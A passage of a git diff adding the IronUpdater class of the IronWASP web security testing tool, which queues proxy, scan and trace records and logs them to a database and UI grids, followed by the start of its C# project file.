System.Collections; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Data.SQLite; +using System.Drawing; +using System.Text; +using System.Windows.Forms; +using System.Threading; +using System.Reflection; +using Microsoft.Scripting; +using Microsoft.Scripting.Runtime; +using Microsoft.Scripting.Hosting; +using IronPython; +using IronPython.Hosting; +using IronPython.Modules; +using IronPython.Runtime; +using IronPython.Runtime.Exceptions; +using IronRuby; +using IronRuby.Hosting; +using IronRuby.Runtime; +using IronRuby.StandardLibrary; + + +namespace IronWASP +{ + public class IronUpdater + { + static bool IsOn = true; + static Queue PluginResultQ = new Queue(); + + static Queue ScanRequestQ = new Queue(); + static Queue ScanResponseQ = new Queue(); + internal static Dictionary ScanGridMap = new Dictionary(); + + static Queue ShellRequestQ = new Queue(); + static Queue ShellResponseQ = new Queue(); + internal static Dictionary ShellGridMap = new Dictionary(); + + static Queue ProbeRequestQ = new Queue(); + static Queue ProbeResponseQ = new Queue(); + internal static Dictionary ProbeGridMap = new Dictionary(); + + static Queue ProxyRequestQ = new Queue(); + static Queue ProxyResponseQ = new Queue(); + static Queue ProxyOriginalRequestQ = new Queue(); + static Queue ProxyOriginalResponseQ = new Queue(); + static Queue ProxyEditedRequestQ = new Queue(); + static Queue ProxyEditedResponseQ = new Queue(); + + static Queue ProxyRequestListQ = new Queue(); + static Queue ProxyResponseListQ = new Queue(); + + static Queue OtherSourceRequestQ = new Queue(); + static Queue OtherSourceResponseQ = new Queue(); + internal static Dictionary OtherSourceGridMap = new Dictionary(); + + internal static Queue Traces = new Queue(); + internal static Queue ScanTraces = new Queue(); + internal static Queue SessionPluginTraces = new Queue(); + + internal static Dictionary ProxyGridMap = new Dictionary(); + + internal static Dictionary MTGridMap = new Dictionary(); + + internal static List> Urls = new List>(); + + static int SleepTime = 2000; + static Thread T; + + internal static void Start() + { + ThreadStart TS = new ThreadStart(IronUpdater.Run); + IronUpdater.T = new Thread(TS); + IronUpdater.T.Start(); + } + static void Run() + { + int Counter = 0; + int MemoryCounter = 0; + + while(IronUpdater.IsOn) + { + if (Counter == 5) + { + Counter = 0; + MemoryCounter++; + + } + if (MemoryCounter == 10) + { + MemoryCounter = 0; + if (GC.GetTotalMemory(false) > 200000000) + { + GC.Collect(); + } + } + Thread.Sleep(IronUpdater.SleepTime); + Counter++; + + try { UpdateProxyLogAndGrid(); } + catch (Exception Exp) { IronException.Report("Error Updating Proxy Log & Grid", Exp.Message, Exp.StackTrace); } + try + { + if(Counter == 2 || Counter == 4) UpdatePluginResult(); + } + catch (Exception Exp) { IronException.Report("Error Updating PluginResult", Exp.Message, Exp.StackTrace); } + + try { UpdateShellLogAndGrid(); } + catch (Exception Exp) { IronException.Report("Error Updating Shell Log & Grid", Exp.Message, Exp.StackTrace); } + try + { + if (Counter == 5) UpdateProbeLogAndGrid(); + } + catch (Exception Exp) { IronException.Report("Error Updating Probe Log & Grid", Exp.Message, Exp.StackTrace); } + try + { + if (Counter == 5) UpdateScanLogAndGrid(); + } + catch (Exception Exp) { IronException.Report("Error Updating Scan Log & Grid", Exp.Message, Exp.StackTrace); } + try + { + //if (Counter == 2 || Counter == 4) + UpdateOtherSourceLogAndGrid(); + } + catch (Exception Exp) { IronException.Report("Error Updating Other Source Log & Grid", Exp.Message, Exp.StackTrace); } + try + { + if (Counter == 5) UpdateSiteMapTree(); + } + catch (Exception Exp) { IronException.Report("Error Updating SiteMapTree", Exp.Message, Exp.StackTrace); } + try { UpdateTraceLogAndGrid(); } + catch (Exception Exp) { IronException.Report("Error Updating Trace Log & Grid", Exp.Message, Exp.StackTrace); } + try + { + if (Counter == 2 || Counter == 4) UpdateScanTraceLogAndGrid(); + } + catch (Exception Exp) { IronException.Report("Error Updating ScanTrace Log & Grid", Exp.Message, Exp.StackTrace); } + try + { + if (Counter == 2 || Counter == 4) UpdateScanTraceLogAndGrid(); + } + catch (Exception Exp) { IronException.Report("Error Updating ScanTrace Log & Grid", Exp.Message, Exp.StackTrace); } + try + { + if (Counter == 2 || Counter == 4) UpdateSessionPluginTraceLogAndGrid(); + } + catch (Exception Exp) { IronException.Report("Error Updating SessionPluginTrace Log & Grid", Exp.Message, Exp.StackTrace); } + try + { + if (Counter == 5) ThreadStore.CleanUp(); + } + catch (Exception Exp) { IronException.Report("Error cleaning up ThreadStore", Exp.Message, Exp.StackTrace); } + IronUI.ShowCurrentLogStat(); + } + } + internal static void Stop() + { + IsOn = false; + T.Abort(); + } + internal static void AddPluginResult(Finding PR) + { + if (PR != null) + { + lock (PluginResultQ) + { + PluginResultQ.Enqueue(PR); + } + } + } + static void UpdatePluginResult() + { + Finding[] DequedPluginResult; + lock (PluginResultQ) + { + DequedPluginResult = PluginResultQ.ToArray(); + PluginResultQ.Clear(); + } + if (DequedPluginResult == null) return; + + List PRs = new List(); + foreach (Finding PR in DequedPluginResult) + { + try + { + foreach (Trigger T in PR.Triggers.GetTriggers()) + { + if (T.Request != null) + { + T.Request.StoredHeadersString = T.Request.GetHeadersAsString(); + if (T.Request.IsBinary) T.Request.StoredBinaryBodyString = T.Request.BinaryBodyString; + } + if (T.Response != null) + { + T.Response.StoredHeadersString = T.Response.GetHeadersAsString(); + if (T.Response.IsBinary) T.Response.StoredBinaryBodyString = T.Response.BinaryBodyString; + } + } + if (PR.FromActiveScan) + { + try + { + PR.BaseRequest.StoredHeadersString = PR.BaseRequest.GetHeadersAsString(); + if (PR.BaseRequest.IsBinary) PR.BaseRequest.StoredBinaryBodyString = PR.BaseRequest.BinaryBodyString; + PR.BaseResponse.StoredHeadersString = PR.BaseResponse.GetHeadersAsString(); + if (PR.BaseResponse.IsBinary) PR.BaseResponse.StoredBinaryBodyString = PR.BaseResponse.BinaryBodyString; + } + catch { } + } + PR.Id = Interlocked.Increment(ref Config.PluginResultCount); + PRs.Add(PR); + } + catch (InvalidOperationException) + { + break; + } + } + if (PRs.Count > 0) + { + IronDB.LogPluginResults(PRs); + IronUI.UpdatePluginResultTree(PRs); + } + } + + internal static void AddProxyRequest(Request Request) + { + if (Request != null) + { + try + { + Request ClonedRequest = Request.GetClone(true); + if (ClonedRequest != null) + { + lock (ProxyRequestQ) + { + ProxyRequestQ.Enqueue(ClonedRequest); + } + } + else + { + Tools.Trace("IronUpdater", "Null Proxy Request"); + } + } + catch (Exception Exp) + { + IronException.Report("Error adding Proxy Request for updating", Exp.Message, Exp.StackTrace); + } + } + } + + internal static void AddProxyResponse(Response Response) + { + if (Response != null) + { + try + { + Response ClonedResponse = Response.GetClone(true); + if (ClonedResponse != null) + { + lock (ProxyResponseQ) + { + ProxyResponseQ.Enqueue(ClonedResponse); + } + } + else + Tools.Trace("IronUpdater", "Null Proxy Response"); + } + catch (Exception Exp) + { + IronException.Report("Error adding Proxy Response for updating", Exp.Message, Exp.StackTrace); + } + } + } + + internal static void AddProxyRequestsAfterEdit(Request OriginalRequest, Request EditedRequest) + { + if (OriginalRequest != null) + { + lock (ProxyOriginalRequestQ) + { + ProxyOriginalRequestQ.Enqueue(OriginalRequest); + } + } + if (ProxyEditedRequestQ != null) + { + lock (ProxyEditedRequestQ) + { + ProxyEditedRequestQ.Enqueue(EditedRequest); + } + } + } + + internal static void AddProxyResponsesAfterEdit(Response OriginalResponse, Response EditedResponse) + { + if (OriginalResponse != null) + { + lock (ProxyOriginalResponseQ) + { + ProxyOriginalResponseQ.Enqueue(OriginalResponse); + } + } + if (EditedResponse != null) + { + lock (ProxyEditedResponseQ) + { + ProxyEditedResponseQ.Enqueue(EditedResponse); + } + } + } + + internal static void AddProxyRequests(Request[] Requests) + { + if (Requests.Length ==2) + { + try + { + lock (ProxyRequestListQ) + { + ProxyRequestListQ.Enqueue(Requests); + } + } + catch (Exception Exp) + { + IronException.Report("Error adding Proxy Request for updating", Exp.Message, Exp.StackTrace); + } + } + } + + internal static void AddProxyResponses(Response[] Responses) + { + if (Responses.Length == 2) + { + try + { + lock (ProxyResponseListQ) + { + ProxyResponseListQ.Enqueue(Responses); + } + } + catch (Exception Exp) + { + IronException.Report("Error adding Proxy Response for updating", Exp.Message, Exp.StackTrace); + } + } + } + + static void UpdateProxyLogAndGrid() + { + Response[] DequedResponses; + lock (ProxyResponseQ) + { + DequedResponses = ProxyResponseQ.ToArray(); + ProxyResponseQ.Clear(); + } + + List Responses = new List(); + foreach(Response Res in DequedResponses) + { + try + { + if (Res == null) + { + IronException.Report("Null Response DeQed from Proxy Response Q", "Null Response DeQed from Proxy Response Q"); + continue; + } + Res.StoredHeadersString = Res.GetHeadersAsString(); + if(Res.IsBinary) Res.StoredBinaryBodyString = Res.BinaryBodyString; + Responses.Add(Res); + } + catch (Exception Exp) + { + IronException.Report("Error preparing Response for UI & DB Update", Exp.Message, Exp.StackTrace); + } + } + + Response[] DequedOriginalResponses; + List OriginalResponses = new List(); + lock (ProxyOriginalResponseQ) + { + DequedOriginalResponses = ProxyOriginalResponseQ.ToArray(); + ProxyOriginalResponseQ.Clear(); + } + foreach(Response Res in DequedOriginalResponses) + { + try + { + if (Res == null) + { + IronException.Report("Null Response DeQed from Original Proxy Response Q", "Null Response DeQed from Original Proxy Response Q"); + continue; + } + Res.StoredHeadersString = Res.GetHeadersAsString(); + if (Res.IsBinary) Res.StoredBinaryBodyString = Res.BinaryBodyString; + OriginalResponses.Add(Res); + } + catch (Exception Exp) + { + IronException.Report("Error preparing Original Response for UI & DB Update", Exp.Message, Exp.StackTrace); + } + } + Response[] DequedEditedResponses; + List EditedResponses = new List(); + lock (ProxyEditedResponseQ) + { + DequedEditedResponses = ProxyEditedResponseQ.ToArray(); + ProxyEditedResponseQ.Clear(); + } + foreach(Response Res in DequedEditedResponses) + { + try + { + if (Res == null) + { + IronException.Report("Null Response DeQed from Edited Proxy Response Q", "Null Response DeQed from Edited Proxy Response Q"); + continue; + } + Res.StoredHeadersString = Res.GetHeadersAsString(); + if (Res.IsBinary) Res.StoredBinaryBodyString = Res.BinaryBodyString; + EditedResponses.Add(Res); + } + catch (Exception Exp) + { + IronException.Report("Error preparing Edited Response for UI & DB Update", Exp.Message, Exp.StackTrace); + } + } + + Request[] DequedRequests; + List Requests = new List(); + lock (ProxyRequestQ) + { + DequedRequests = ProxyRequestQ.ToArray(); + ProxyRequestQ.Clear(); + } + foreach(Request Req in DequedRequests) + { + try + { + if (Req == null) + { + IronException.Report("Null Request DeQed from Proxy Request Q", "Null Request DeQed from Proxy Request Q"); + continue; + } + Req.StoredFile = Req.File; + Req.StoredParameters = Req.GetParametersString(); + Req.StoredHeadersString = Req.GetHeadersAsString(); + if (Req.IsBinary) Req.StoredBinaryBodyString = Req.BinaryBodyString; + Urls.Add(GetUrlForList(Req)); + Requests.Add(Req); + } + catch (Exception Exp) + { + IronException.Report("Error preparing Proxy Request for UI & DB Update", Exp.Message, Exp.StackTrace); + } + } + + Request[] DequedOriginalRequests; + List OriginalRequests = new List(); + lock (ProxyOriginalRequestQ) + { + DequedOriginalRequests = ProxyOriginalRequestQ.ToArray(); + ProxyOriginalRequestQ.Clear(); + } + foreach(Request Req in DequedOriginalRequests) + { + try + { + if (Req == null) + { + IronException.Report("Null Request DeQed from Proxy Original Request Q", "Null Request DeQed from Proxy Original Request Q"); + continue; + } + Req.StoredFile = Req.File; + Req.StoredParameters = Req.GetParametersString(); + Req.StoredHeadersString = Req.GetHeadersAsString(); + if (Req.IsBinary) Req.StoredBinaryBodyString = Req.BinaryBodyString; + Urls.Add(GetUrlForList(Req)); + OriginalRequests.Add(Req); + } + catch (Exception Exp) + { + IronException.Report("Error preparing Original Request for UI & DB Update", Exp.Message, Exp.StackTrace); + } + } + + Request[] DequedEditedRequests; + List EditedRequests = new List(); + lock (ProxyEditedRequestQ) + { + DequedEditedRequests = ProxyEditedRequestQ.ToArray(); + ProxyEditedRequestQ.Clear(); + } + foreach(Request Req in DequedEditedRequests) + { + try + { + if (Req == null) + { + IronException.Report("Null Request DeQed from Proxy Edited Request Q", "Null Request DeQed from Proxy Edited Request Q"); + continue; + } + Req.StoredFile = Req.File; + Req.StoredParameters = Req.GetParametersString(); + Req.StoredHeadersString = Req.GetHeadersAsString(); + if (Req.IsBinary) Req.StoredBinaryBodyString = Req.BinaryBodyString; + Urls.Add(GetUrlForList(Req)); + EditedRequests.Add(Req); + } + catch (Exception Exp) + { + IronException.Report("Error preparing Edited Request for UI & DB Update", Exp.Message, Exp.StackTrace); + } + } + + List IronSessions = new List(); + if (Requests.Count > 0 || Responses.Count > 0 || OriginalRequests.Count > 0 || OriginalResponses.Count > 0 || EditedRequests.Count > 0 || EditedResponses.Count > 0) + { + IronDB.LogProxyMessages(IronSessions, Requests, Responses, OriginalRequests, OriginalResponses, EditedRequests, EditedResponses); + } + if (Requests.Count > 0 | Responses.Count > 0) + { + IronUI.UpdateProxyLogGrid(Requests, Responses); + } + + Response[][] DequedResponseArrs; + lock (ProxyResponseListQ) + { + DequedResponseArrs = ProxyResponseListQ.ToArray(); + ProxyResponseListQ.Clear(); + } + + List ResponseArrs = new List(); + foreach (Response[] ResArr in DequedResponseArrs) + { + try + { + if (ResArr.Length == 2) + { + if (ResArr[1] == null) + { + IronException.Report("Null Response DeQed from Proxy Response Q", "Null Response DeQed from Proxy Response Q"); + continue; + } + + if (ResArr[0] != null) + { + ResArr[0].StoredHeadersString = ResArr[0].GetHeadersAsString(); + if (ResArr[0].IsBinary) ResArr[0].StoredBinaryBodyString = ResArr[0].BinaryBodyString; + } + ResArr[1].StoredHeadersString = ResArr[1].GetHeadersAsString(); + if (ResArr[1].IsBinary) ResArr[1].StoredBinaryBodyString = ResArr[1].BinaryBodyString; + + ResponseArrs.Add(ResArr); + } + } + catch (Exception Exp) + { + IronException.Report("Error preparing Response for UI & DB Update", Exp.Message, Exp.StackTrace); + } + } + + Request[][] DequedRequestArrs; + List RequestArrs = new List(); + lock (ProxyRequestListQ) + { + DequedRequestArrs = ProxyRequestListQ.ToArray(); + ProxyRequestListQ.Clear(); + } + foreach (Request[] ReqArr in DequedRequestArrs) + { + try + { + if (ReqArr.Length == 2) + { + if (ReqArr[1] == null) + { + IronException.Report("Null Request DeQed from Proxy Request Q", "Null Request DeQed from Proxy Request Q"); + continue; + } + if (ReqArr[0] != null) + { + ReqArr[0].StoredFile = ReqArr[0].File; + ReqArr[0].StoredParameters = ReqArr[0].GetParametersString(); + ReqArr[0].StoredHeadersString = ReqArr[0].GetHeadersAsString(); + if (ReqArr[0].IsBinary) ReqArr[0].StoredBinaryBodyString = ReqArr[0].BinaryBodyString; + Urls.Add(GetUrlForList(ReqArr[0])); + } + ReqArr[1].StoredFile = ReqArr[1].File; + ReqArr[1].StoredParameters = ReqArr[1].GetParametersString(); + ReqArr[1].StoredHeadersString = ReqArr[1].GetHeadersAsString(); + if (ReqArr[1].IsBinary) ReqArr[1].StoredBinaryBodyString = ReqArr[1].BinaryBodyString; + Urls.Add(GetUrlForList(ReqArr[1])); + + RequestArrs.Add(ReqArr); + } + } + catch (Exception Exp) + { + IronException.Report("Error preparing Proxy Request for UI & DB Update", Exp.Message, Exp.StackTrace); + } + } + + if (RequestArrs.Count > 0 || ResponseArrs.Count > 0) + { + IronDB.LogProxyMessages(RequestArrs, ResponseArrs); + IronUI.UpdateProxyLogGridWithArrs(RequestArrs, ResponseArrs); + } + } + + public static void AddMTRequest(Session Sess) + { + + } + public static void AddMTResponse(Session Sess) + { + + } + + internal static void AddShellRequest(Request Request) + { + if (Request != null) + { + try + { + Request ClonedRequest = Request.GetClone(true); + if (ClonedRequest != null) + { + lock (ShellRequestQ) + { + ShellRequestQ.Enqueue(ClonedRequest); + } + } + else + { + Tools.Trace("IronUpdater", "Null Shell Request"); + } + } + catch (Exception Exp) + { + IronException.Report("Error adding Shell Request for updating", Exp.Message, Exp.StackTrace); + } + } + } + + internal static void AddShellResponse(Response Response) + { + if (Response != null) + { + try + { + Response ClonedResponse = Response.GetClone(true); + if (ClonedResponse != null) + { + lock (ShellResponseQ) + { + ShellResponseQ.Enqueue(ClonedResponse); + } + } + else + Tools.Trace("IronUpdater", "Null Shell Response"); + } + catch (Exception Exp) + { + IronException.Report("Error adding Shell Response for updating", Exp.Message, Exp.StackTrace); + } + } + } + + static void UpdateShellLogAndGrid() + { + Response[] DequedResponses; + lock (ShellResponseQ) + { + DequedResponses = ShellResponseQ.ToArray(); + ShellResponseQ.Clear(); + } + List Responses = new List(); + foreach(Response Res in DequedResponses) + { + try + { + if (Res == null) + { + IronException.Report("Null Response DeQed from Shell Response Q", "Null Response DeQed from Shell Response Q"); + continue; + } + Res.StoredHeadersString = Res.GetHeadersAsString(); + if (Res.IsBinary) Res.StoredBinaryBodyString = Res.BinaryBodyString; + Responses.Add(Res); + } + catch (Exception Exp) + { + IronException.Report("Error preparing Shell Response for UI & DB Update", Exp.Message, Exp.StackTrace); + } + } + + Request[] DequedRequests; + lock (ShellRequestQ) + { + DequedRequests = ShellRequestQ.ToArray(); + ShellRequestQ.Clear(); + } + List Requests = new List(); + foreach(Request Req in DequedRequests) + { + try + { + if (Req == null) + { + IronException.Report("Null Request DeQed from Shell Request Q", "Null Request DeQed from Shell Request Q"); + continue; + } + Req.StoredFile = Req.File; + Req.StoredParameters = Req.GetParametersString(); + Req.StoredHeadersString = Req.GetHeadersAsString(); + if (Req.IsBinary) Req.StoredBinaryBodyString = Req.BinaryBodyString; + Requests.Add(Req); + + } + catch (Exception Exp) + { + IronException.Report("Error preparing Shell Request for UI & DB Update", Exp.Message, Exp.StackTrace); + } + } + + List IronSessions = new List(); + if (Requests.Count > 0 || Responses.Count > 0) + { + IronDB.LogShellMessages(IronSessions, Requests, Responses); + IronUI.UpdateShellLogGrid(Requests, Responses); + } + } + + internal static void AddProbeRequest(Request Request) + { + if (Request != null) + { + try + { + Request ClonedRequest = Request.GetClone(true); + if (ClonedRequest != null) + { + lock (ProbeRequestQ) + { + ProbeRequestQ.Enqueue(ClonedRequest); + } + } + else + { + Tools.Trace("IronUpdater", "Null Probe Request"); + } + } + catch (Exception Exp) + { + IronException.Report("Error adding Probe Request for updating", Exp.Message, Exp.StackTrace); + } + } + } + + internal static void AddProbeResponse(Response Response) + { + if (Response != null) + { + try + { + Response ClonedResponse = Response.GetClone(true); + if (ClonedResponse != null) + { + lock (ProbeResponseQ) + { + ProbeResponseQ.Enqueue(ClonedResponse); + } + } + else + Tools.Trace("IronUpdater", "Null Probe Response"); + } + catch (Exception Exp) + { + IronException.Report("Error adding Probe Response for updating", Exp.Message, Exp.StackTrace); + } + } + } + + static void UpdateProbeLogAndGrid() + { + Response[] DequedResponses; + lock (ProbeResponseQ) + { + DequedResponses = ProbeResponseQ.ToArray(); + ProbeResponseQ.Clear(); + } + List Responses = new List(); + foreach(Response Res in DequedResponses) + { + try + { + if (Res == null) + { + IronException.Report("Null Response DeQed from Probe Response Q", "Null Response DeQed from Probe Response Q"); + continue; + } + Res.StoredHeadersString = Res.GetHeadersAsString(); + if (Res.IsBinary) Res.StoredBinaryBodyString = Res.BinaryBodyString; + Responses.Add(Res); + } + catch (Exception Exp) + { + IronException.Report("Error preparing Probe Response for UI & DB Update", Exp.Message, Exp.StackTrace); + } + } + + Request[] DequedRequests; + lock (ProbeRequestQ) + { + DequedRequests = ProbeRequestQ.ToArray(); + ProbeRequestQ.Clear(); + } + List Requests = new List(); + foreach(Request Req in DequedRequests) + { + try + { + if (Req == null) + { + IronException.Report("Null Request DeQed from Probe Request Q", "Null Request DeQed from Probe Request Q"); + continue; + } + Req.StoredFile = Req.File; + Req.StoredParameters = Req.GetParametersString(); + Req.StoredHeadersString = Req.GetHeadersAsString(); + if (Req.IsBinary) Req.StoredBinaryBodyString = Req.BinaryBodyString; + Requests.Add(Req); + + } + catch (Exception Exp) + { + IronException.Report("Error preparing Probe Request for UI & DB Update", Exp.Message, Exp.StackTrace); + } + } + + List IronSessions = new List(); + if (Requests.Count > 0 || Responses.Count > 0) + { + IronDB.LogProbeMessages(IronSessions, Requests, Responses); + IronUI.UpdateProbeLogGrid(Requests, Responses); + } + } + + internal static void AddScanRequest(Request Request) + { + if (Request != null) + { + try + { + Request ClonedRequest = Request.GetClone(true); + if (ClonedRequest != null) + { + lock (ScanRequestQ) + { + ScanRequestQ.Enqueue(ClonedRequest); + } + } + else + { + Tools.Trace("IronUpdater", "Null Scan Request"); + } + } + catch (Exception Exp) + { + IronException.Report("Error adding Scan Request for updating", Exp.Message, Exp.StackTrace); + } + } + } + + internal static void AddScanResponse(Response Response) + { + if (Response != null) + { + try + { + Response ClonedResponse = Response.GetClone(true); + if (ClonedResponse != null) + { + lock (ScanResponseQ) + { + ScanResponseQ.Enqueue(ClonedResponse); + } + } + else + Tools.Trace("IronUpdater", "Null Scan Response"); + } + catch (Exception Exp) + { + IronException.Report("Error adding Scan Response for updating", Exp.Message, Exp.StackTrace); + } + } + } + + static void UpdateScanLogAndGrid() + { + Response[] DequedResponse; + + lock (ScanResponseQ) + { + DequedResponse = ScanResponseQ.ToArray(); + ScanResponseQ.Clear(); + } + List Responses = new List(); + foreach(Response Res in DequedResponse) + { + try + { + if (Res == null) + { + IronException.Report("Null Response DeQed from Scan Response Q", "Null Response DeQed from Scan Response Q"); + continue; + } + Res.StoredHeadersString = Res.GetHeadersAsString(); + if (Res.IsBinary) Res.StoredBinaryBodyString = Res.BinaryBodyString; + Responses.Add(Res); + } + catch (Exception Exp) + { + IronException.Report("Error preparing Scan Response for UI & DB Update", Exp.Message, Exp.StackTrace); + } + } + + Request[] DequedRequests; + lock (ScanRequestQ) + { + DequedRequests = ScanRequestQ.ToArray(); + ScanRequestQ.Clear(); + } + List Requests = new List(); + foreach(Request Req in DequedRequests) + { + try + { + if (Req == null) + { + IronException.Report("Null Request DeQed from Scan Request Q", "Null Request DeQed from Scan Request Q"); + continue; + } + Req.StoredFile = Req.File; + Req.StoredParameters = Req.GetParametersString(); + Req.StoredHeadersString = Req.GetHeadersAsString(); + if (Req.IsBinary) Req.StoredBinaryBodyString = Req.BinaryBodyString; + Requests.Add(Req); + } + catch (Exception Exp) + { + IronException.Report("Error preparing Scan Request for UI & DB Update", Exp.Message, Exp.StackTrace); + } + } + + List IronSessions = new List(); + if (Requests.Count > 0 || Responses.Count > 0) + { + IronDB.LogScanMessages(IronSessions, Requests, Responses); + IronUI.UpdateScanLogGrid(Requests, Responses); + } + } + + internal static void AddOtherSourceRequest(Request Request) + { + if (Request != null) + { + try + { + Request ClonedRequest = Request.GetClone(true); + if (ClonedRequest != null) + { + lock (OtherSourceRequestQ) + { + OtherSourceRequestQ.Enqueue(ClonedRequest); + } + } + else + { + Tools.Trace("IronUpdater", "Null Other Source Request"); + } + } + catch (Exception Exp) + { + IronException.Report("Error adding Other Source Request for updating", Exp.Message, Exp.StackTrace); + } + } + } + + internal static void AddOtherSourceResponse(Response Response) + { + if (Response != null) + { + try + { + Response ClonedResponse = Response.GetClone(true); + if (ClonedResponse != null) + { + lock (OtherSourceResponseQ) + { + OtherSourceResponseQ.Enqueue(ClonedResponse); + } + } + else + Tools.Trace("IronUpdater", "Null Other Source Response"); + } + catch (Exception Exp) + { + IronException.Report("Error adding Other Source Response for updating", Exp.Message, Exp.StackTrace); + } + } + } + + static void UpdateOtherSourceLogAndGrid() + { + Response[] DequedResponses; + lock (OtherSourceResponseQ) + { + DequedResponses = OtherSourceResponseQ.ToArray(); + OtherSourceResponseQ.Clear(); + } + List Responses = new List(); + foreach (Response Res in DequedResponses) + { + try + { + if (Res == null) + { + IronException.Report("Null Response DeQed from Other Source Response Q", "Null Response DeQed from Other Source Response Q"); + continue; + } + Res.StoredHeadersString = Res.GetHeadersAsString(); + if (Res.IsBinary) Res.StoredBinaryBodyString = Res.BinaryBodyString; + Responses.Add(Res); + } + catch (Exception Exp) + { + IronException.Report("Error preparing Other Source Response for UI & DB Update", Exp.Message, Exp.StackTrace); + } + } + + Request[] DequedRequests; + lock (OtherSourceRequestQ) + { + DequedRequests = OtherSourceRequestQ.ToArray(); + OtherSourceRequestQ.Clear(); + } + List Requests = new List(); + foreach (Request Req in DequedRequests) + { + try + { + if (Req == null) + { + IronException.Report("Null Request DeQed from Other Source Request Q", "Null Request DeQed from Other Source Request Q"); + continue; + } + Req.StoredFile = Req.File; + Req.StoredParameters = Req.GetParametersString(); + Req.StoredHeadersString = Req.GetHeadersAsString(); + if (Req.IsBinary) Req.StoredBinaryBodyString = Req.BinaryBodyString; + Requests.Add(Req); + + } + catch (Exception Exp) + { + IronException.Report("Error preparing Other Source Request for UI & DB Update", Exp.Message, Exp.StackTrace); + } + } + + List IronSessions = new List(); + Dictionary> SourceSpecificRequestList = new Dictionary>(); + Dictionary> SourceSpecificResponseList = new Dictionary>(); + if (Requests.Count > 0 || Responses.Count > 0) + { + foreach (Request Req in Requests) + { + if (!SourceSpecificRequestList.ContainsKey(Req.Source)) SourceSpecificRequestList[Req.Source] = new List(); + if (!SourceSpecificResponseList.ContainsKey(Req.Source)) SourceSpecificResponseList[Req.Source] = new List(); + SourceSpecificRequestList[Req.Source].Add(Req); + } + foreach (Response Res in Responses) + { + if (!SourceSpecificResponseList.ContainsKey(Res.Source)) SourceSpecificResponseList[Res.Source] = new List(); + if (!SourceSpecificRequestList.ContainsKey(Res.Source)) SourceSpecificRequestList[Res.Source] = new List(); + SourceSpecificResponseList[Res.Source].Add(Res); + } + + foreach (string Source in SourceSpecificRequestList.Keys) + { + IronDB.LogOtherSourceMessages(IronSessions, SourceSpecificRequestList[Source], SourceSpecificResponseList[Source], Source); + } + List OtherSourceRequests = new List(); + List OtherSourceResponses = new List(); + if (SourceSpecificRequestList.ContainsKey(IronLog.SelectedOtherSource)) + { + OtherSourceRequests = SourceSpecificRequestList[IronLog.SelectedOtherSource]; + OtherSourceResponses = SourceSpecificResponseList[IronLog.SelectedOtherSource]; + } + + IronUI.UpdateOtherSourceLogGrid(OtherSourceRequests, OtherSourceResponses, IronLog.SelectedOtherSource, new List(SourceSpecificRequestList.Keys)); + } + } + + + internal static void AddTrace(IronTrace Trace) + { + if (Trace != null) + { + lock (Traces) + { + Traces.Enqueue(Trace); + } + } + } + + static void UpdateTraceLogAndGrid() + { + IronTrace[] DequedTraces; + lock (Traces) + { + DequedTraces = Traces.ToArray(); + Traces.Clear(); + } + List TraceList = new List(DequedTraces); + if (TraceList.Count > 0) + { + IronDB.LogTraces(TraceList); + IronUI.UpdateTraceGrid(TraceList); + } + } + + internal static void AddScanTrace(IronTrace Trace) + { + if (Trace != null) + { + lock (ScanTraces) + { + ScanTraces.Enqueue(Trace); + } + } + } + + static void UpdateScanTraceLogAndGrid() + { + IronTrace[] DequedTraces; + lock (ScanTraces) + { + DequedTraces = ScanTraces.ToArray(); + ScanTraces.Clear(); + } + List TraceList = new List(DequedTraces); + if (TraceList.Count > 0) + { + IronDB.LogScanTraces(TraceList); + IronUI.UpdateScanTraceGrid(TraceList); + } + } + + internal static void AddSessionPluginTrace(IronTrace Trace) + { + if (Trace != null) + { + lock (SessionPluginTraces) + { + SessionPluginTraces.Enqueue(Trace); + } + } + } + + static void UpdateSessionPluginTraceLogAndGrid() + { + IronTrace[] DequedTraces; + lock (SessionPluginTraces) + { + DequedTraces = SessionPluginTraces.ToArray(); + SessionPluginTraces.Clear(); + } + List TraceList = new List(DequedTraces); + if (TraceList.Count > 0) + { + IronDB.LogSessionPluginTraces(TraceList); + IronUI.UpdateSessionPluginTraceGrid(TraceList); + } + } + + internal static List GetUrlForList(Request Req) + { + List UrlParts = new List(); + UrlParts.Add(Req.BaseUrl); + UrlParts.AddRange(Req.UrlPathParts); + UrlParts.Add(""); + if (Req.Query.Count > 0) + { + UrlParts.Add("?" + Req.Query.GetQueryStringFromParameters()); + } + return UrlParts; + } + + internal static void AddToSiteMap(Request Req) + { + List Url = GetUrlForList(Req); + lock (Urls) + { + Urls.Add(Url); + } + } + + static void UpdateSiteMapTree() + { + if (Urls.Count > 0) + { + List> UrlsToBeUpdated = new List>(); + lock (Urls) + { + UrlsToBeUpdated.AddRange(Urls); + Urls.Clear(); + } + IronUI.UpdateSitemapTree(UrlsToBeUpdated); + } + } + } +} diff --git a/Iron/IronWASP.csproj b/Iron/IronWASP.csproj new file mode 100644 index 0000000..7ad421e --- /dev/null +++ b/Iron/IronWASP.csproj @@ -0,0 +1,871 @@ + + + + Debug + x86 + 8.0.30703 + 2.0 + {853A876D-5FC3-4243-A845-6CD92CED013D} + WinExe + Properties + IronWASP + IronWASP + v2.0 + 512 + publish\ + true + Disk + false + Foreground + 7 + Days + false + false + true + 0 + 1.0.0.%2a + false + false + true + + + x86 + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + + + x86 + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + ironwasp_logo.ico + + + + + ..\..\..\dotnet_libs\Jint-0.9.0-binary\Antlr3.Runtime.dll + + + ..\..\..\dotnet_libs\Be.HexEditor.150\Be.HexEditor.150\bin\Be.Windows.Forms.HexBox.dll + + + ..\..\CssFx\CssFx\bin\Release\CssFx.dll + + + ..\..\Diff\Diff\bin\Release\Diff.dll + + + ..\..\..\dotnet_libs\diffplex-052fd342999b\diffplex_052fd342999b\DiffPlex\bin\Release\DiffPlex.dll + + + False + ..\..\..\DotnetLibs\FiddlerCoreAPI\FiddlerCore.dll + + + False + bin\Debug\HtmlAgilityPack.dll + + + ..\..\AvlonEditTester\AvlonEditTester\bin\Debug\ICSharpCode.TextEditor.dll + + + ..\..\..\dotnet_libs\DotNetZipLib-DevKit-v1.9\zip-v1.9\Release\Ionic.Zip.dll + + + ..\..\IronDataView\IronDataView\bin\Debug\IronDataView.dll + + + C:\Program Files (x86)\IronPython 2.6\IronPython.dll + + + C:\Program Files (x86)\IronPython 2.6\IronPython.Modules.dll + + + C:\Program Files (x86)\IronRuby 